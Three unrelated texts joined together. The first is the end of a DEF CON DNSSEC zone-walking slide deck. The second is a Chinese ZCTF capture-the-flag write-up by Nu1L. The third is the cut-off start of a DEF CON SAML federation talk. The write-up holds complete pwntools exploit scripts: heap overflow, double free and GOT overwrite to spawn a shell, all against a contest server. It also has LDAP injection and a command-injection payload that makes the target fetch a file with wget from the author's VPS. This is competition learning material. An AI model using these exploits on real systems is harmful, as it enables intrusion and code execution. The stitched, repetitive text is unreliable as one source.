Disclosure with OVHcloud ■ We called the hotline they said "send a mail to abuse@" ■ First email, including technical details... no reply ■ Call the hotline again to confirm the process, which they do ■ Second email... no reply DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 36 / 40 Disclosure with OVHcloud ■ We called the hotline they said "send a mail to abuse@" ■ First email, including technical details... no reply ■ Call the hotline again to confirm the process, which they do ■ Second email... no reply ■ Get someone working there to ping the right person and forward... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 36 / 40 Disclosure with OVHcloud ■ We called the hotline they said "send a mail to abuse@" ■ First email, including technical details... no reply ■ Call the hotline again to confirm the process, which they do ■ Second email... no reply ■ Get someone working there to ping the right person and forward... We’re still waiting for a response :) DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 36 / 40 Fixing DNSSEC ■ Use public-key cryptography (“DNSSEC white lies”, RFC 4470, 4471) ■ Either NSEC5? (2014) ▶ Initial draft had issues, met with skepticism, not final, not standardised... ▶ Latency... ▶ Bad track record for the NSEC family ■ Or NSEC3 with digital signatures? ▶ Today most DNS servers would use Algorithm13 i.e. ECDSA because of fast signing and wide support ▶ Verification is slow... so there’s a burden on resolvers ▶ Also requires proper management of keys and algorithms... ... experience shows that DNS servers are bad at it → https://eprint.iacr.org/2015/1000.pdf DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 37 / 40 Fixing my redirections If you are an OVHCloud customer and use their redirections... How do you protect yourself? DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 37 / 40 Fixing my redirections If you are an OVHCloud customer and use their redirections... How do you protect yourself? ■ Protecting the target email is quite easy DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 37 / 40 Fixing my redirections If you are an OVHCloud customer and use their redirections... How do you protect yourself? ■ Protecting the target email is quite easy ■ Protecting the domain email list is more difficult... DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 37 / 40 666. Conclusion DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 38 / 40 Conclusion ■ Do not store private info in your DNS Zone ■ DNSSEC NSEC3 attacks are practical ■ Push for NSEC5 or ECDSA-alg13 adoption! DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 39 / 40 That’s all folks Proof of concept on: https://dnssection.ovh Your friendly neighbourhood hackers [email protected] DNSSECTION @ DEF CON 28 SAFE MODE 6 Aug 2020 40 / 40
pdf
Nu1L-ZCTF-Writeup ——By Nu1L 全员 部分脚本请见附件 Misc 类 Misc10-签到题 直接新浪微博搜下: MISC100 xctf 竞赛规则 开始完全没思路,解压 word 得到的 document.xml 发现一堆烫然而并没有什 么思路,后来根据提示宽窄间距,想到是烫的间距,利用 python 的 xml 库写一 个小的脚本就可以得到一串 01,转化 ascii 就可以了。中间需要注意的是不能光 提取 xml 的间距,还需要乘上中间的烫的个数。 import xml.dom.minidom import sys reload(sys) sys.setdefaultencoding('gbk') dom = xml.dom.minidom.parse('document.xml') root = dom.documentElement str1 = '' bb = root.getElementsByTagName('w:spacing') b= bb[10] b1 = b.getAttribute("w:val") print b1 for k in range(10,len(bb)): if bb[k].getAttribute("w:val") == "2" : str1 += '1' * len(str(bb[k].parentNode.parentNode.getElementsByTagName ('w:t')[0].childNodes[0].data).decode('gbk')) elif bb[k].getAttribute("w:val") == "-2" : str1 += '0' * len(str(bb[k].parentNode.parentNode.getElementsByTagName ('w:t')[0].childNodes[0].data).decode('gbk')) print str1 print len(str1) #print len(bb) Misc100-码魂 百度了下。。。真有小绿和小蓝那个动漫,在第 19 集上得到提示: Hex 编辑器看一下题目给的图片: 和漫画差不多,我们将小数点后的十进制转换成二进制在转换成 16 进制: 这是段 shellcode,我这个 web 狗是不知道。。。交给队友,果断编译了出来: 然后根据主办方的提示,zctf 是秘钥,同时是 8 字节,猜测是 asii 码,利用 py 的 pyDes 库写了个小脚本就可以了: Web 类 Web100 老大 首先是爆破,尝试各种弱口令无果。第一天快结束,队友爆破出来了第一个 弱口令:zhangwei 密码 123456。直到第二天,白天,登录进去发现有 20 个人 名,发现一个 md5 后的 cookie,不能解出来。 于是自行构造所有的用户名的全拼和密码字典,密码字典选用 3389 的常用 字典,爆破出第二个弱口令:niubenben 密码 123456789。。(吐槽一下,要不是 以前看过一个电视剧叫铁齿铜牙纪晓岚,我还真不知道这个字怎么读),登录进 去,提示老大知道 flag。 然后发现 cookie,解 md5 得到 9+ADk-, 根据经验,解 utf-7,发现是 99, 猜测构造是第一位是顺序,后面是顺序呢 utf-7 编码。所以把 1 编码后补上 变成 1+ADE-,然后 md5,改 coockie 得到 flag Web150-Injection 一个注入,其实不难。。。主要是不太熟悉罢了,LDAP 注入 在乌云有这么一篇文章写得很详细:http://drops.wooyun.org/tips/967 根据 LDAP 的特性,我们可以利用特殊符“*”去替换过滤器中的一个或多个字 符,经过测试: admin *,进入 search 页面: 输入 test 后发现 再次发现通配符*,发现正确可以回显,不正确不能回显,并且输入有长度 限制。 令 uid=*,构造)(2=,以形成(|(uid=*)(2=*)) 然后看了下 cookie,有东西: 猜测 description 是一个参数,于是构造:test)(description= 随机输入字符,当 test)(description=z 时有正确回显,于是利用 burp 诸位爆 破: 得到 flag:zctf{303a61ace0204a2d5f352771d6f1bba2} Web300 题目提示侧漏了,想到备份文件泄露,尝试 index.php~,.index.php.swp, index.php.swp, index.php.bak,发现. index.php.swp 存在,下载下来整理一下得到 简单分析得知首先要绕过时间种子获得路径,看到下面那个 ttr_random 很 熟悉,找了找,在 wechall 上找到原题和绕过方法 https://github.com/rk700/rk700.github.io/blob/master/_posts/2014-06-18-time-to- reset.md,写了一个 php 脚本在 windows 怎么也不行,在 kali 下一次成功,我 也是醉了 然后,继续分析源码,发现题目更熟悉,是 hitcon2015 的题目,做过,在 http://5alt.me/posts/2015/10/HITCON%20CTF%202015%20Web%20100%20Web%2 0300%20Writeup.html 找到以前做题时用过的方法,ftp 重定向,在我的 vps1 上 构造 index.php,内容如下: 在我的 vps2 上搭建 ftp 服务器,开启匿名访问,在匿名访问根路径构造 内容如下: 然后,由于题目过滤了 mk,直接在远程文件下载即可,构造 payload: args[]=s%0a&args[]=wget&args[]=2032836944%0a,其中 2032836944 转化为 ip 就 是我 vps1 的 ip45.78.40.114,然后根据执行后得到的 cookie 碰撞时间种子,得 到 16 位路径,访问得到 flag Web400-百度内网漫游 被一个&号坑了好久。。。 题目给了一篇 wooyun 文章,通过查看得知是 ssrf,随意在搜索框输入,返 回百度的内容。 抓包,发现有一个 link 参数,根据 ssrf 的特性,确认此处存在 ssrf 漏洞。于 是我们要做的就是利用这个参数去访问其内网,但是经过测试发现,其过滤了 IP, 于是在自己的 vps 上放了一个 302 跳转: 构造方式即:link=www.xxxxxx.com/302.php?url=127.0.0.1:port。所以下一步 我们需要去爆破端口号: 902 是阿里云的虚拟端口…这也是个坑,于是得到第一个端口是 80 端口。 查看主页源码,发现 css 有一个提示是 ba1du: 发现最下面跟了一个新的 css,但是不能直接打开,提示 forbidden,于是 ssrf 过去,查看源码: 得到内网域名,进行访问: 到这,下面就和 wooyun 的文章基本一样了,先爆破端口: 端口都是一样的。。。然后这个时候并不知道这道题目一个至关重要的参数, 没法去连接 127,偶然点了下导航栏下面的图片,直接给跳回去,但是发现地址 栏多了一些东西,瞬间菊花一紧,看到 src,以及 online 几个参数,于是就去爆 破咯,在这里又发现两个小坑把,第一个就是在这里也过滤了 ip,依然需要跳转。 第二就是&要 url 编码,天真的我没想那么多,构造好了就直接去 post,结果点 了 n 次,没反应我擦,最后发现,&不编码就和 link 并列了。。。尴尬,换成%26 就好了,online=2: 但是不能执行命令: 于是爆破 online 那个参数: 把 2 换成 8 就 OK 了,得到最后 flag: Re 类 Reverse100 第一个验证的关键代码: 这部分是一个以给出的 16 个字符串的前 16 个字符的 ASCII 码做系数(去掉 空格,逗号,句号),上面的 v17 数组的 16 个数做结果,求一个 16 元 1 次方程 组 A: B: 解为: 转换为字符串得到一个假 flag:zctf{Wrong_Flag} 第二个验证的关键代码为: 这部分验证真正的 flag 的前四个字符是否和假 flag 的前四个字符相等,之后 是求前 5 个字符的 ASCII 码的和是否为 v17[0],依次判断前几个字符的累加和, 最后写个脚本逆推之,正确的 flag 是 zctf{So_Easy_Oh_God} Re200: 是个调试版本的 Bin,程序员的恶习一目了然。。。~_~ 准备:长度 0~30, input[28]=’}’ && input[8] == '_' && input[13] == '_' && input[17] == '_' 即 ZCTF{***_****_***_********} 第一部分:MD5:371265e33e8d751d93b148067c36eb4c 第二部分:MD5:03d2370991fbbb9101dd7dcf4b03d619 和 371265e33e8d751d93b148067c36eb4c 逐字做差得到 但是由于在末尾补了一个 0,导致各大 md5 网站均无法成功解密,所以此段 是废的 第三部分:由 sub_412060 中 RTR0 base64 解密得到 第四部分:整个 flag 字符串 md5 值为 06f66ccdb372c6270545136bb203ca6e SubKey 的奇数位由 input[18]异或解密 SubKey 的偶数位由 input[19]异或解密 尝试发现不可能全部为可见字符,猜测里面可能连续相同字节(其实是绝望 时把UltraEdit 里面随便看到的 STSTSTST 带进去试了一下),发现 S、T 为input[18]、 input[19],解密发现是 Rar 开头的,于是直接解压,发现里面是最后 8 个字节 Flag:ZCTF{c0c_LIK3_E4t_6aw4ErrY} Re300-I love arm 第一步是在 sub_4009e4 中对输入的字符串进行 base64 中的一个运算,把每 三个字符转换为要从置换表中置换的四个索引值: 第二步是把索引值分为 5 个一组,每组做 5 次循环运算,每次运算中 5 个索 引值分别跟 dword_4112C8 对应的值相乘之后再相加,每次循环算出一个值,最 后把这组值与 dword_411330 的值进行对比判断是否相等: 逆推也就是求四组五元一次方程组,其中每组的系数都相等 A: 四组 B: 求出的索引值为: 根据 base64 的算法把索引值还原成原字符得到 flag:ZCTF{x~Uo#w3ig} AndroidRe400 神奇的分数,感觉很简单。。。 直接上 jeb,自己就识别了一个 ViewClickListener 类,然后继续跟进 onClick 有 Input Is Too Long、 Input Is Too Short 之类的字符串,猜测是验证函数。 挨个看了一下那些自动命名的类,发现有个类包含了很多工具性的函数,例 如执行命令、读写文件的函数,于是先分析了一下。接着回到 onClick,发现其以 Package 的 MD5Signature 为密钥解密并释放了 libListener,之后修改权限为 777 并执行。 于是直接写了个 java 程序(import 有点多,见附件,要编译的话自行重命 名) 解密得到 libListener,分析得到程序首先用/proc/pid/status 的惯用方法检测 调试器,接着在本地绑定 16415 端口 并接收长度为 0x21 的数据,使用 TEA 算法进行解密 之后程序进行了 Base64 加密,只不过之前的 Table 不是默认的表,变成 了 GHgSTU45IMNesVlZadrXf17qBCJkxYWhijOyzbcR6tDPw023KLA8QEFuvmnop 9+/ 思考一下,发觉直接按照对应的位置,换成原来的表就好了。 之后程序将 Base64 编码后的字符串与一个表按字节逐个异或,并将结 果相加,要求最后和为 0。由于最多只有 32 位,所以不可能是 int 溢出,因 此只能是全是 0(可能分析的不大对,他用的 movsx 带符号扩展,理论上可 以实现,当时就没想那么多,事后发现有问题。。。) 最后写出程序(见附件) 得到 Base64: emN0ZntpX2QwTigpVF9MMWszXzIwNDh9 Flag: zctf{i_d0N()T_L1k3_2048} Re500 疯狂的一连串跳转。。。 拿到题目,直接拖 IDA。Win 的题竟然没有任何加密壳、压缩壳保护, 真是少见。 先是 _cfltcvt_init 初始化了一个长长的函数表,不知道干啥用的 然后 0x402470 里面的函数初始化了一些地址,这些地址每个都加了 5, 看起来应该是很古老的绕过 BreakPoint 的方法。 然后程序创建了一个线程。分析得知这个线程掌管着结果的验证,每隔 100ms 新建一个类,并拷贝相应的信息,用于验证。 有 VC++类,于是直接上 ClassInformer 找到 CVerify 的 vftable 大概知道干嘛的了,回到 main main 除了刚才的那些操作,就只剩下调用 0x401E10 这个函数了 仔细分析之,发现在不停的跳转。开始以为是一个虚拟机,但是发现并 没有任何对 P-Code 的解析,跳转的顺序完全由刚才_cfltcvt_init 设置。 大概重新把每个地址都创建了函数,一看竟然有 300 个跳转,顿时感觉 前途渺茫,于是萌发了写 Python 脚本提取的思想。正好前几天刚刚研究过, 于是把这些函数的对应的跳转地址做成一个 dict,并输出需要修正的跳转 的地址(脚本见附件) 中间还是很曲折的。。idaPython 的 logging 貌似有问题,怎么着也输 出不了,于是怒改成输入到文件,得到了 asm.bin 和 log.txt,按照他们重 新修正,得到了新的程序,之后分析算法。 早在一开始的时候 PEiD 分析显示有 Base64 表,就猜是不是真的有, 到现在很显然了。载入进来,改成高端字节序,处理最高三个字节。 DWORD 的构成是这样的:ch cl ah al 于是内存中是这样的:al ah cl ch 然后程序执行 xor ah,al,xor ah,cl,xor cl,ch xor 前一个字 节,saved_al 于是显然 前一个←al←ah←cl←ch,所以只需要知道最后一个字符即 可向前推出所有字符 接下来回到刚才的类,验证函数和将输入分别 0-52 异或,得到结果与 内置表比较。 于是写出程序(见附件),得到 Base64 结果 WkNURntJX1c0TlRfSm1QX2pNcF8mJl9CNFMxXzY0X0BeX15AIX0= 解密得到 Flag:ZCTF{I_W4NT_JmP_jMp_&&_B4S1_64_@^_^@!} Pwn 类 - guess (pwn 100) gets 造成了栈溢出,但是由于有 stack canary 的保护所以没办法做 rop。程序把 flag 读到一 块固定的内存区域进行后续操作,所以只要能够 dump 那块区域的内存就可以。通过修改栈 上面 argv[0]的值到 flag 区域就可以在__stack_chk_fail 后弹出的错误信息里把运算后的 flag 弹出来,然后异或解密就行。 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * # http://j00ru.vexillium.org/blog/24_03_15/dragons_ctf.pdf # len = 34 # 0x7ffc8f36e970 -> 0x7ffc8f36ea98 addr = 0x6010C5 def main(): # phase 1 : guess len for i in range(40): payload = i*'a' io = remote('115.28.27.103',22222) print io.recvuntil('\n') io.sendline(payload) result = io.recvuntil('\n') if 'ZCTF' in result: print 'len = ',i io.close() break io.close() # phase 2 : overwrite argv[0] to dump encrypted flag io = remote('115.28.27.103',22222) #io = process('./guess') payload = 'ZCTF{'+(i-5)*'\x01'+'\x00'+'\x01'*(40-i-1)+'\x00'*(296- 40)+p64(addr) print io.recvuntil('\n') #raw_input('attach!') io.sendline(payload) io.interactive() # phase 3 : decrypt flag e = ' Sd`000X^o22E^u1^8tdrR^gmAf>|\x0b' k = [] for c in e: k.append(chr(ord(c)^0x1)) print 'ZCTF{'+''.join(k) return 0 if __name__ == '__main__': main() - note1 (pwn 200) edit 操作越界导致溢出,可以修改指向下一个 note 的指针,造成任意地址可写。将溢出后 的位置指向 got 表可以泄露 libc 地址,然后算出 system 的地址,将 atoi 改为 system,传 /bin/sh 拿 shell。 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * #io = process('./note1') io = remote('115.28.27.103', 9001) addr = 0x601fa8 puts_off = 0x6FE30 read_off = 0xEB800 system_off = 0x46640 def addnote(title,types,content): global io print io.recvuntil('option--->>') io.sendline('1') print io.recvuntil(':') io.sendline(title) print io.recvuntil(':') io.sendline(types) print io.recvuntil(':') io.sendline(content) return def editnote(title,content): global io print io.recvuntil('option--->>') io.sendline('3') print io.recvuntil(':') io.sendline(title) print io.recvuntil(':') io.sendline(content) return def shownote(): print io.recvuntil('option--->>\n') io.sendline('2') return def main(): payload = (0x100+0x10)*'a'+p64(0)+p64(addr)+'bbbb' addnote('a','b','c') addnote('b','c','d') editnote('a',payload) shownote() print io.recvuntil('\n') print io.recvuntil('content=') buf = io.recvuntil('\n')[:-1] + '\x00\x00' puts = u64(buf) libc_base = puts - puts_off log.success('Libc base = ' + hex(libc_base)) read = libc_base + read_off system = libc_base + system_off new_got = p64(puts) + 'a'*24+p64(read)+'a'*40+p64(system) editnote('',new_got) io.sendline('/bin/sh') io.interactive() return 0 if __name__ == '__main__': main() - spell (pwn 300) 刚开始以为是要做内核溢出... 将内核模块和程序下载下来,分析内核模块,发现内核模块处理两个 ioctl,一个是获取时间, 另一个是获取随机数(都是 8 个字节),然后分析程序,发现在复制输入的时候可以溢出到第 二次的 request code 处,而第二次的 request code 正是用来请求随机数的,所以溢出将其修 改为获取时间的 request code,可以根据当前时间计算出 spell,得到 flag。 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * io = remote('115.28.27.103',33333) def makespell(randombuf): key = 'zctfflag' buf = '' length = 56 temp = [] for i in range(8): temp.append(chr(ord(randombuf[i])^ord(key[i]))) buf = ''.join(temp)*7 buf += '\x00' buf = buf + (256-len(buf))*'a'+'\x02\xff' # overwrite request_code to req_gettime and you got stable 'random bytes' print buf.encode('hex') return buf def main(): print io.recvuntil(':') io.sendline('256') time1 = io.recvuntil(':')[-3:] time2 = io.recvuntil(':')[-3:] time = time1+time2+' '+'\x00' # replace random :> print io.recvuntil(':') io.send(makespell(time)) io.interactive() return 0 if __name__ == '__main__': main() - note3 (pwn 300) 这题首先有个整数溢出,溢出完之后可以造成 double free,另外由于读入的 长度和 malloc 后的指针存放位置相邻并且是在 i+8 的位置所以可以读入超长数 据,接下来要伪造 chunk 触发 double free,然后就有了任意地址写。泄露地址时, 将 free got 表项和后面的 puts got 表项修改成 printf 的 plt,然后将 printf 的参数 部署到 bss 段,接下来再调用 free 即可泄露地址,拿到地址后再把 free 的 got 表 项改成 system,构造参数后就能拿到 shell 啦~ #!/usr/bin/python # -*- coding: utf-8 -*- from pwn import * import time def malloc(size,data): print conn.recvuntil('>>') conn.sendline('1') print conn.recvuntil('1024)') conn.sendline(str(size)) print conn.recvuntil('content:') conn.sendline(data) print conn.recvuntil('\n') def edit(id,data): print conn.recvuntil('>>') conn.sendline('3') print conn.recvuntil('note:') conn.sendline(str(id)) print conn.recvuntil('ent:') conn.sendline(data) print conn.recvuntil('success') def free(id): print conn.recvuntil('>>') conn.sendline('4') print conn.recvuntil('note:') conn.sendline(str(id)) print conn.recvuntil('success') #conn = remote('127.0.0.1',9999) conn = remote('115.28.27.103',9003) free_got = p64(0x602018) puts_got = p64(0x602020) stack_got = p64(0x602038) printf_got = p64(0x602030) exit_got = p64(0x602078) printf_plt = p64(0x400750) puts_plt = p64(0x400730) #libcstartmain_ret_off = 0x21b45 #sys_off = 0x414f0 libcstartmain_ret_off = 0x21ec5 sys_off = 0x46640 # 1. int overflow lead to double free intoverflow = -9223372036854775808 malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,'/bin/sh\0') malloc(512,p64(0x400ef8)) malloc(512,'/bin/sh\0') # 2. make a fake chunk and modify the next chunk's pre size fakechunk = p64(0) + p64(512+1) + p64(0x6020e0-0x18) + p64(0x6020e0- 0x10) + 'A'*(512-32) + p64(512) + p64(512+16) edit(3,'aaaaaa') edit(intoverflow,fakechunk) # 3. double free free(4) # 4. overwrite got edit(3,free_got) edit(0,printf_plt+printf_plt) # 5. leak the stack data edit(3,p64(0x6020e8)) edit(0,'%llx.'*30) #free->puts print conn.recvuntil('>>') conn.sendline('4') print conn.recvuntil('note:') conn.sendline(str(0)) #time.sleep(0.3) ret = conn.recvuntil('success') print ret # 6. calcuate the system's addr libcstart = ret.split('.')[10] libcstart_2 = int(libcstart,16) - libcstartmain_ret_off print 'libc start addr:',hex(libcstart_2) system_addr = libcstart_2 + sys_off print 'system_addr:',hex(system_addr) # 7. overwrite free's got edit(3,free_got) edit(0,p64(system_addr)+printf_plt) # 8. write argv edit(3,p64(0x6020d0)) edit(0,'/bin/sh\0') # 9. exploit print conn.recvuntil('>>') conn.sendline('4') print conn.recvuntil('note:') conn.sendline(str(0)) sleep(0.2) conn.interactive() - note2 (pwn 400) 分析程序发现在 edit 处有栈溢出,但是由于有 canary 所以没法直接 get shell, 但是可以控制要 free 的指针。同时,在获取输入时,如果将 note 长度置为 0, 则可以过掉 edit 处的限制。利用 name 和 address 处的内存伪造堆块,利用栈溢 出将其 free,再次申请内存时就可以得到伪造的堆块,然后将 name 后面的指针 表改写到 got,利用 show 功能 free,然后 edit 修改 got 即可拿到 shell。 脚本: #!/usr/bin/env python # -*- coding: utf-8 -*- from pwn import * #io = process('./note2') io = remote('115.28.27.103', 9002) atoi_off = 0x39F50 system_off = 0x46640 def addnote(length,content): global io print io.recvuntil('option--->>') io.sendline('1') print io.recvuntil(')') io.sendline(str(length)) print io.recvuntil(':') io.sendline(content) return def delnote(id): global io print io.recvuntil('option--->>') io.sendline('4') print io.recvuntil(':') io.sendline(str(id)) return def editnote(id,oa,content): global io print io.recvuntil('option--->>') io.sendline('3') print io.recvuntil(':') io.sendline(str(id)) print io.recvuntil(']') io.sendline(str(oa)) print io.recvuntil(':') io.sendline(content) return def main(): name = 0x20*'\x00'+p64(0)+p64(0x91)+(0x8)*'\x00' # fake chunks address = '\x00'*0x10+p64(0)+p64(0x31)+0x20*'\x00'+p64(0)+p64(0x21) # fake chunks #raw_input('Attach now!') print io.recvuntil(':') io.sendline(name) print io.recvuntil(':') io.sendline(address) k = 127 # find a way to free 0x602110 addnote(128,'bbb') addnote(0,'aaa') # '0' bypasses everthing :> addnote(128,'cccc') # ????? why always 39 chars appended????? but not in online env,,, # somekind of strncat bug? editnote(1,1,39*'a') # 39 added per append editnote(1,2,39*'b') # 78 editnote(1,2,39*'c') # 117 editnote(1,2,10*'d') editnote(1,2,'a'*(128-k)+p64(0x602110)) addnote(128,0x10*'a'+p64(0x602088)) print io.recvuntil('option--->>') io.sendline('2') print io.recvuntil(':') io.sendline('0') print io.recvuntil('is ') buf = io.recvuntil('\n')[:-1] + '\x00\x00' atoi = u64(buf) libc_base = atoi - atoi_off log.success('Libc Base = ' + hex(libc_base)) system = libc_base + system_off editnote(0,1,p64(system)) print io.recvuntil('option--->>') io.sendline('/bin/sh') io.interactive() return 0 if __name__ == '__main__': main()
pdf
Federation & Empire Emmanuel Bouillon [email protected] DEF CON #19 - 7th August 2011 Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Prefatory notes $ whoami Having fun in INFOSEC for a while SSTIC, PacSec, BlackHat EU, Hack.lu, #Days CVE-2010-{0283,2229,2914,2941,...}, CVE-2011-{0001,...} Disclaimer This expresses my own views and does not involve my previous, current and future employers and thus for seven generations Presentation and code provided for educational purpose only E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Prefatory notes $ whoami Having fun in INFOSEC for a while SSTIC, PacSec, BlackHat EU, Hack.lu, #Days CVE-2010-{0283,2229,2914,2941,...}, CVE-2011-{0001,...} Disclaimer This expresses my own views and does not involve my previous, current and future employers and thus for seven generations Presentation and code provided for educational purpose only E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Outline 1 Prelude to Federation Introduction 2 Forward the Federation Where we come from 3 Federation What you need to know 4 Federation and Empire Sharpen your weapons 5 Federation’s Edge Design assessment 6 Federation and (down to) Earth Conclusion E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Introduction Outline 1 Prelude to Federation Introduction 2 Forward the Federation Where we come from 3 Federation What you need to know 4 Federation and Empire Sharpen your weapons 5 Federation’s Edge Design assessment 6 Federation and (down to) Earth Conclusion E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Introduction What is it about? SAML = Security Assertion Markup Language This relates to SAML Token and Claims based IAM Low level, Pen-tester approach Won’t discuss Formal protocol/API comparison Consistent standards study Standards ”reverse engineering”: Find vulns, see what’s wrong in specs Take-aways Tool to play with SAML protected Web app Proven assumption: Standards can be read as an attempt to circumvent SOP Important design security considerations E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Introduction What is it about? SAML = Security Assertion Markup Language This relates to SAML Token and Claims based IAM Low level, Pen-tester approach Won’t discuss Formal protocol/API comparison Consistent standards study Standards ”reverse engineering”: Find vulns, see what’s wrong in specs Take-aways Tool to play with SAML protected Web app Proven assumption: Standards can be read as an attempt to circumvent SOP Important design security considerations E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Introduction Why should you care? Pervasive Cloud Joining a federation usually has severe contractual, legal implications. It’s coming your way! E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Where we come from Outline 1 Prelude to Federation Introduction 2 Forward the Federation Where we come from 3 Federation What you need to know 4 Federation and Empire Sharpen your weapons 5 Federation’s Edge Design assessment 6 Federation and (down to) Earth Conclusion E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Where we come from The main problem to solve User and Administrator friendly cross organization boundaries SSO - here for web apps Secure Scalable Manageable Privacy / Anonymity Ideally compliant with the Laws of Identity [1] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth Where we come from Historical approaches The good old time Account Replication Manual Automated WHAT? Lose control of accounts Have multiple passwords ”Trust” relationships to be established with other realms / domains All user information shared with federated partners Firewalls need to be opened to allow trust Bilateral ⇒ n2 problem - no easy way to establish trust with multiple partners Privacy / anonymity Anonymity Support for Kerberos [2] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know Outline 1 Prelude to Federation Introduction 2 Forward the Federation Where we come from 3 Federation What you need to know 4 Federation and Empire Sharpen your weapons 5 Federation’s Edge Design assessment 6 Federation and (down to) Earth Conclusion E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know Federated identity standards - Overview [3] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know SAML 101 Security Assertion Markup Language [4] transfer of identity information between organizations that have an established trust relationship SAML components SAML Assertions / Protocols / Bindings / Profiles Web Browser SSO Profile Identity Provider Discovery Profile E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know What are SAML Assertions? Signed XML document containing claims or attributes about a user Collected Claims = Identity Claims do not need to unambiguously identify user. Only relevant information (e.g. Age > 21, so can buy booze) [5] E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know What it looks like E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know What it looks like E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know What it looks like E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How is SAML used? Standards-based (so widely supported, supposedly interoperable), including: XML Encryption, XML Digital Signatures, X.509 Relies on standard HTTP (so passes through firewalls and across Internet) Local network (not just for Federation!) Branch offices Remote workers But also supports federation (of which more, later) Supports SSO (no need to remember lots of passwords) Transparent to user (from web browser or compiled application): a single click, and the magic happens! E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How is SAML used? Standards-based (so widely supported, supposedly interoperable), including: XML Encryption, XML Digital Signatures, X.509 Relies on standard HTTP (so passes through firewalls and across Internet) Local network (not just for Federation!) Branch offices Remote workers But also supports federation (of which more, later) Supports SSO (no need to remember lots of passwords) Transparent to user (from web browser or compiled application): a single click, and the magic happens! E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How is SAML used? Standards-based (so widely supported, supposedly interoperable), including: XML Encryption, XML Digital Signatures, X.509 Relies on standard HTTP (so passes through firewalls and across Internet) Local network (not just for Federation!) Branch offices Remote workers But also supports federation (of which more, later) Supports SSO (no need to remember lots of passwords) Transparent to user (from web browser or compiled application): a single click, and the magic happens! E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How is SAML used? Standards-based (so widely supported, supposedly interoperable), including: XML Encryption, XML Digital Signatures, X.509 Relies on standard HTTP (so passes through firewalls and across Internet) Local network (not just for Federation!) Branch offices Remote workers But also supports federation (of which more, later) Supports SSO (no need to remember lots of passwords) Transparent to user (from web browser or compiled application): a single click, and the magic happens! E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How is SAML used? Standards-based (so widely supported, supposedly interoperable), including: XML Encryption, XML Digital Signatures, X.509 Relies on standard HTTP (so passes through firewalls and across Internet) Local network (not just for Federation!) Branch offices Remote workers But also supports federation (of which more, later) Supports SSO (no need to remember lots of passwords) Transparent to user (from web browser or compiled application): a single click, and the magic happens! E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How does it work? Web Browser SSO Profile (SP-Initiated SSO - Redirect/POST Bindings) 1 User requests access to a claims aware web application 2 Redirected (through 302 Redirection) to IdP 3 Authenticates to IdP (either through Kerberos or Username/Password) 4 Redirected (through HTTP POST) back to web application, including security token 5 Happy User − no passwords to remember + Happy Administrator/Developer − much easier to manage E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How does it work? 1 User requests access to a claims aware web application E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What you need to know How does it work? 2 Redirected (through HTTP 302) to IdP E. Bouillon Federation & Empire Prelude to Federation Forward the Federation Federation Federation and Empire Federation’s Edge Federation and (down to) Earth What 